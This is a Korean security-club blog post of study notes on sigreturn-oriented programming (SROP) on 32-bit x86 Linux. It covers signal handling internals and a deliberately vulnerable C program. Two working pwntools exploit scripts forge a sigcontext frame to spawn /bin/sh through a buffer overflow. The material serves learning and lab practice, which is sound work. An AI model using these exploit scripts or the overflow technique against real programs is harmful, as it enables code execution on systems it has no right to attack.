Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
Tags
- 파이썬
- 드림핵
- CSS
- Javascript
- lob
- 숙명여자대학교 정보보안동아리
- 숙명여자대학교 정보보안 동아리
- 생활코딩
- 웹페이지 만들기
- hackctf
- c++
- 백준
- 풀이
- BOJ Python
- 자료구조 복습
- XSS Game
- PHP 웹페이지 만들기
- C언어
- HTML
- Sookmyung Information Security Study
- 기계학습
- hackerrank
- WarGame
- BOJ
- siss
- The Loard of BOF
- SWEA
- c
- Python
- 머신러닝
Archives
- Today
- Total
혜랑's STORY
[Lazenca] SROP(Sigreturn-oriented programming) - x86 본문
2021 SISS 21기 활동/여름방학 System
[Lazenca] SROP(Sigreturn-oriented programming) - x86
hyerang0125 2021. 7. 10. 12:59SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있다.
해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있다.
Signal
- signal은 프로세스에게 이벤트가 발생했음을 알린다. 또한 다른 프로세스에게 시그널을 전송 할 수 있다.
- 원시적인 형태의 IPC(InterProcess Communication)로 사용 할 수도 있음
- 자기 자신에게 시그널을 보내는 것도 가능
- signal은 일반적으로 커널이 송신하며, 다음과 같은 이벤트 종류가 있다.
- 하드웨어 예외가 발생한 경우
- 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우
- Interrupt character(Control + c)
- Suspend character(Control + z)
- 소프트웨어 이벤트가 발생한 경우
- 파일 디스크립터에 입력이 발생
- 타이머 만료
- 해당 프로세스의 자식 프로세스가 종료
- signal은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다.
- 시그널 무시
- 프로세스 종료
- 코어 덤프 파일을 생성 후 프로세스 종료
- 프로세스 중지
- 프로세스의 실행을 재개
Signal handler
- signal handler는 프로그램이 특정 시그널의 기본 동작을 수행하는 대신 프로그래머가 원하는 동작을 수행하도록 변경할 수 있다.
- User Mode 프로세스에 정의되어 있고 User Mode 코드 세그먼트에 포함된다.
- User Mode가 실행되는 동안 Kernel Mode에서 handle_signal() 함수가 실행된다.
- User Mode에서 Kernel Mode로 진입시 User Mode에서 사용중이던 context를 Kernel stack에 저장한다.
- Kernel Mode에서 User Mode로 진입시 Kernel stack은 모두 초기화된다.
- 이러한 문제를 해결하기 위해 setup_frame(), sigreturn() 함수를 사용한다.
- setup_frame() : User Mode의 stack을 설정
- sigreturn() : Kernel Mode stack에 hardware context를 복사하고, User Mode stack의 원래의 content를 저장한다.
- Signal handler는 다음과 같이 처리된다.
- 인터럽트 또는 예외가 발생하면 프로세스는 Kernel Mode로 전환된다.
- 커널은 User Mode로 돌아가기 전에 do_signal() 함수를 실행된다.
- do_signal() 함수는 handle_signal()을 호출하여 signal를 처리
- handle_signal() 함수는 setup_frame()을 호출하여 User Mode stack에 context를 저장
- 프로세스가 User Mode로 다시 전환되면 signal handler가 실행된다.
- signal handler가 종료되면 setup_frame() 함수에 의해 User Mode stack에 저장된 리턴 코드가 실행된다.
- 해당 코드에 의해 sigreturn() 시스템 함수가 호출된다.
- sigreturn() 시스템 함수에 의해 Kernel Mode stack에서 일반 프로그램의 hardware context를 User Mode의 stack에 복사
- sigreturn() 함수는 restore_sigcontext()을 호출하여 USer Mode 스택을 원해 상태로 복원
- 해당 코드에 의해 sigreturn() 시스템 함수가 호출된다.
- 시스템 호출이 종료되면 일반 프로그램은 실행을 재개 할 수 있다.
Save and restore sigcontent
Example code
//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>
struct sigcontext sigcontext;
void handle_signal(int signum){
printf("Signal number: %d\n", signum);
}
int main(){
signal(SIGINT, (void *)handle_signal);
while(1) {}
return 0;
}
Debugging
[Break Point]
handle_signal 함수에 Break Point를 설정하고, GDB가 인터럽트에 반응하지 않도록 설정한다.
프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킨다.
bt 명령어를 통해 handle_signal 함수가 호출되기 전에 실행된 함수 목록을 확인 할 수 있다.
위와 같이 0번째 frame에서 stack에 저장된 각 각의 레지스터 값을 확인할 수 있다.
위와 같이 1번째 frame의 내용을 보면 __kernel_sigreturn() 함수에서 sys_sigreturn() 시스템 함수를 호출한다.
- x86에서 sys_sigreturn 시스템 함수의 번호는 0x77(119)이다.
다음과 같이 signal이 끝난 후에 frame 0의 stack에 저장된 값이 레지스터에 저장된 것을 확인할 수 있다.
sigreturn()
- sigreturn() 시스템 함수는 signal을 처리하는 프로세스가 kernel mode에서 user mode로 돌아올 때 stack을 복원하기 위해 사용되는 함수이다.
- stack 복원을 위해 restore_sigcontext()를 호출한다.
#ifdef CONFIG_X86_32
asmlinkage unsigned long sys_sigreturn(void){
struct pt_regs *regs = current_pt_regs();
struct sigframe __user *frame;
...
if (restore_sigcontext(regs, &frame->sc, 0))
goto badframe;
...
}
#endif /* CONFIG_X86_32 */
- restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등을 이용하여 stack에 저장된 값을 각 레지스터에 복사한다. 즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
unsigned long buf_val;
void __user *buf;
unsigned int tmpflags;
unsigned int err = 0;
/* Always make any pending restarted system calls return -EINTR */
current->restart_block.fn = do_no_restart_syscall;
get_user_try {
#ifdef CONFIG_X86_32
set_user_gs(regs, GET_SEG(gs));
COPY_SEG(fs);
COPY_SEG(es);
COPY_SEG(ds);
#endif /* CONFIG_X86_32 */
COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx);
COPY(dx); COPY(cx); COPY(ip); COPY(ax);
...
}
- stack에 저장된 레지스터 값들은 restore_sigcontxt() 함수의 인자값 &frame->sc에 의해 전달된다.
#define sigframe_ia32 sigframe
...
#if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION)
struct sigframe_ia32 {
u32 pretcode;
int sig;
struct sigcontext_32 sc;
struct _fpstate_32 fpstate_unused;
#ifdef CONFIG_IA32_EMULATION
unsigned int extramask[_COMPAT_NSIG_WORDS-1];
#else /* !CONFIG_IA32_EMULATION */
unsigned long extramask[_NSIG_WORDS-1];
#endif /* CONFIG_IA32_EMULATION */
char retcode[8];
/* fp state follows here */
};
- &frame->sc 는 sigcontxt 구조체이다. 즉, SROP를 이용할 때 stack에 다음과 같은 형태로 값을 저장해야 한다.
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
Proof of Concept
//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
write(1,"Hello SROP\n",10);
vuln();
}
[Break Point]
- vuln + 0 : vuln() 함수 코드 첫 부분
- vuln + 60 : read() 함수 호출 전
즉, 66개 이상의 문자를 입력함으로써 return address 영역을 덮어쓸 수 있다.
Exploit method
Exploit 순서
1. sigreturn() 함수를 이용해 레지스터에 필요한 값을 저장
a. ESP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
b. EBX : "/bin/sh" 문자열이 저장된 주소
c. EAX : execve() 함수의 시스템 콜 번호
d. EIP : "int 0x80" 명령어가 저장된 주소
e. CS : User Code(0x23)
f. SS : User Data / Stack(0x2b)
코드 표현
sigreturn()
int 0x80
확인해야 할 정보
- Libc offset
- printf
- __kernel_sigreturn
- "/bin/sh" 명령어가 저장된 영역
- Gadgets
- int 0x80
Libc offset
- libc offset : printf(0xf7e46680) - libc base(0xf7dfd000) = 0x49680
- __kernel_sigreturn offset : __kernel_sigreturn(0xf7fd7ff0) - libc base(0xf7dfd000) = 0x1daff0
- "/bin/sh" offset : "/bin/sh" address(0xf7f58b2b) - libc base(ox7fdfd000) = 0x15bb2b
offset of __kernel_sigreturn
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
- Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
- 0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.
- Ex) __kernel_sigreturn() + sigcontext 구조체
Find gadget
- 기본적으로 memory map에서 필요한 가젯을 찾을 수 있다.
- 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인할 수 있다.
CS(Code Segment) & SS(Stack Segment)
- SROP의 Exploit Code를 작성할 때 중요한 부분
- sigcontxt 구조체 형태로 stack에 값을 저장할 때 최소함 CS, SS레지스터에 대한 값을 설정해야 한다.
- Linux kernel에는 4개의 세그먼트만 존재한다.
- 공격 코드들은 user mode에서 실행되기 때문에 User Code, User Data / Stack 값을 사용해야 한다.
- 32bit 프로그램의 경우 실행되는 운영체제 환경에 따라 사용되는 세그먼트 값이 다르다.
- 32bit : 0x73, 0x7b
- 64bit : 0x23, 0x2b (이때 운영체제는 64bit 이지만 프로그램이 32bit인 경우를 말하는 것이다)
- 이 외의 값을 저장하면 에러가 발생한다.
Exploit Code
syscall의 값은 ksigreturn 값에 6을 더한 값이다.
#srop.py
from pwn import *
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1daff0
syscall = libcBase + 0x1daff6
binsh = libcBase + 0x15bb2b
print 'The base address of Libc : ' + hex(libcBase)
print 'Address of syscall gadget : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn() : ' + hex(ksigreturn)
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
exploit += p32(0x0) #GS
exploit += p32(0x0) #FS
exploit += p32(0x0) #ES
exploit += p32(0x0) #DS
exploit += p32(0x0) #EDI
exploit += p32(0x0) #ESI
exploit += p32(0x0) #EBP
exploit += p32(syscall) #ESP
exploit += p32(binsh) #EBX
exploit += p32(0x0) #EDX
exploit += p32(0x0) #ECX
exploit += p32(0xb) #EAX
exploit += p32(0x0) #trapno
exploit += p32(0x0) #err
exploit += p32(syscall) #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23) #CS
exploit += p32(0x0) #eflags
exploit += p32(0x0) #esp_atsignal
exploit += p32(0x2b) #SS
#Runed a 32bit program in the 32bit operation system.
#exploit += p32(0x73) #CS
#exploit += p32(0x0) #eflags
#exploit += p32(0x0) #esp_atsignal
#exploit += p32(0x7b) #SS
p.send(exploit)
p.interactive()
- pwntools를 이용해 작성한 코드는 다음과 같다.
#srop-pwn.py
from pwn import *
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1daff0
syscall = libcBase + 0x1daff6
binsh = libcBase + 0x15bb2b
print 'The base address of Libc : ' + hex(libcBase)
print 'Address of syscall gadget : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn() : ' + hex(ksigreturn)
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn) #ret
exploit += p32(0x0)
#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall
frame.eip = syscall
exploit += str(frame)
p.send(exploit)
p.interactive()
결과
'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글
[Lazenca] Return-to-csu (feat.JIT ROP) - x64 (0) | 2021.07.23 |
---|---|
[HAckCTF] sysrop 풀이 (0) | 2021.07.17 |
[HackCTF] look at me 풀이 (0) | 2021.07.15 |
[0x41414141 CTF] moving signals 풀이 (0) | 2021.07.10 |
[Lazenca] SROP(Sigreturn-oriented programming) - x64 (0) | 2021.07.10 |